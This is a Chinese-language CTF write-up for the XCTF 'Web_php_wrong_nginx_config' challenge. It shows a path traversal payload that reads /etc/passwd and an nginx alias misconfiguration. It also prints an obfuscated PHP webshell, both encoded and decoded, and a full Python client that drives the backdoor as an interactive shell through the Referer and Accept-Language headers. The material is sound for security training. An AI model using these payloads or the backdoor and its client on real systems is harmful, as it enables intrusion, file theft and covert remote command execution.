92,[8] 攻防世界 web Web_php_wrong_nginx_config

进入靶场

admin 123

还尝试了很多，都是建设中

进行目录扫描，扫描到了admin和robots.txt

这句话就应该想到BP

抓包

这样修改请求即可登录

BP加载不出来

F12修改

管理中心点击后会发生url的改变

变成这样

目录穿越，不断尝试

/admin/admin.php?file=./..././..././..././..././etc/passwd&ext=

            server {
    listen 8080; ## listen for ipv4; this line is default and implied
    listen [::]:8080; ## listen for ipv6
 
    root /var/www/html;
    index index.php index.html index.htm;
    port_in_redirect off;
    server_name _;
 
    # Make site accessible from http://localhost/
    #server_name localhost;
 
    # If block for setting the time for the logfile
    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
       set $year $1;
       set $month $2;
       set $day $3;
    }
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    sendfile off;
 
        set $http_x_forwarded_for_filt $http_x_forwarded_for;
        if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
                set $http_x_forwarded_for_filt $1???;
        }
 
    # Add stdout logging
 
    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
    error_log /var/log/nginx/error.log info;
 
    location / {
        # First attempt to serve request as file, then
        # as directory, then fall back to index.html
        try_files $uri $uri/ /index.php?q=$uri&$args;
        server_tokens off;
    }
 
    #error_page 404 /404.html;
 
    # redirect server error pages to the static page /50x.html
    #
    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
        root /usr/share/nginx/html;
    }
    location ~ \.php$ {
        try_files $uri $uri/ /index.php?q=$uri&$args;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    }
 
    location ~ /\. {
            log_not_found off;
            deny all;
    }
    location /web-img {
        alias /images/;
        autoindex on;
    }
    location ~* \.(ini|docx|pcapng|doc)$ {  
         deny all;  
    }  
 
    include /var/www/nginx[.]conf;
}

看不懂啊，但要访问/web-img/了

/web-img../

点吧

下载打开，长这样

php 复制代码

<?php
// 定义一个混淆后的字符串 $U，后续会参与代码拼接
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
// 定义一个混淆后的字符串 $q，后续会参与代码拼接
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
// 定义一个混淆后的字符串 $M，后续会参与代码拼接
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
// 定义一个混淆后的字符串 $z，后续会参与代码拼接
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
// 定义一个混淆后的字符串 $k，后续会参与代码拼接
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
// 定义一个混淆后的字符串 $o，后续会参与代码拼接
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
// 定义一个混淆后的字符串 $N，后续会参与代码拼接
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
// 定义一个混淆后的字符串 $C，后续会参与代码拼接
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
// 定义一个混淆后的字符串 $j，后续会参与代码拼接
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
// 移除字符串 'rO' 后，实际上得到了 'create_function' 函数名
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
// 定义一个混淆后的字符串 $J，后续会参与代码拼接
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
// 定义一个混淆后的字符串 $x，后续会参与代码拼接
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
// 将所有混淆字符串拼接起来，并移除其中的 '|U' 字符，得到最终的代码字符串
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
// 使用 create_function 动态创建一个匿名函数，函数体为拼接后的代码字符串
$g=create_function('',$f);
// 调用动态创建的匿名函数，执行其中的代码
$g();
?>

直接运行不出结果，添加echo $f；

运行结果

php 复制代码

$kh="42f7";$kf="e9ac";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

用大佬的脚本

php 复制代码

from random import randint, choice
from hashlib import md5
import urllib.parse
import string
import zlib
import base64
import requests
import re
 
 
def choicePart(seq, amount):
    length = len(seq)
    if length == 0 or length < amount:
        print('Error Input')
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0, length - 1)
        if i not in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result
 
 
def randBytesFlow(amount):
    result = b''
    for i in range(amount):
        result += bytes([randint(0, 255)])
    return result
 
 
def randAlpha(amount):
    result = ''
    for i in range(amount):
        result += choice(string.ascii_letters)
    return result
 
 
def loopXor(text, key):
    result = b''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt < lenTxt and iKey < lenKey:
            result += bytes([key[iKey] ^ text[iTxt]])
            iTxt += 1
            iKey += 1
    return result
 
 
def debugPrint(msg):
    if debugging:
        print(msg)
 
 
# config
debugging = False
keyh = "         "  # $kh
keyf = "          "  # $kf
xorKey = keyh + keyf
url = '                               '
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None  # {'http':'http://127.0.0.1:8080'} # proxy for debug
 
sess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True)
acceptLang = [defaultLang]
for i in range(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = (md5((init2Char + keyh).encode('utf-8')).hexdigest())[0:3]
md5tail = (md5((init2Char + keyf).encode('utf-8')).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % (init2Char,))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = input('phpshell > ')
while cmd != '':
    # build junk data in referer
    query = []
    for i in range(max(indexes) + 1 + randint(0, 2)):
        key = randAlpha(randint(3, 6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12))).decode('utf-8')
        query.append((key, value))
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.parse.urlencode(query))
    # encode payload
    payload = zlib.compress(cmd.encode('utf-8'))
    payload = loopXor(payload, xorKey.encode('utf-8'))
    payload = base64.urlsafe_b64encode(payload).decode('utf-8')
    payload = md5head + payload
    # cut payload, replace into referer
    cutIndex = randint(2, len(payload) - 3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0], payloadPieces[iPiece])
        iPiece += 1
    referer = url + '?' + urllib.parse.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)
    # send request
    r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)
    html = r.text
    debugPrint(html)
    # process response
    pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print('Error,  no backdoor response')
        cmd = input('phpshell > ')
        continue
    output = output[0]
    debugPrint(output)
    output = base64.b64decode(output.encode('utf-8'))
    output = loopXor(output, xorKey.encode('utf-8'))
    output = zlib.decompress(output).decode('utf-8')
    print(output)
    cmd = input('phpshell > ')

最终要在python2里面运行

得到flag为ctf{a57b3698-eeae-48c0-a669-bafe3213568c}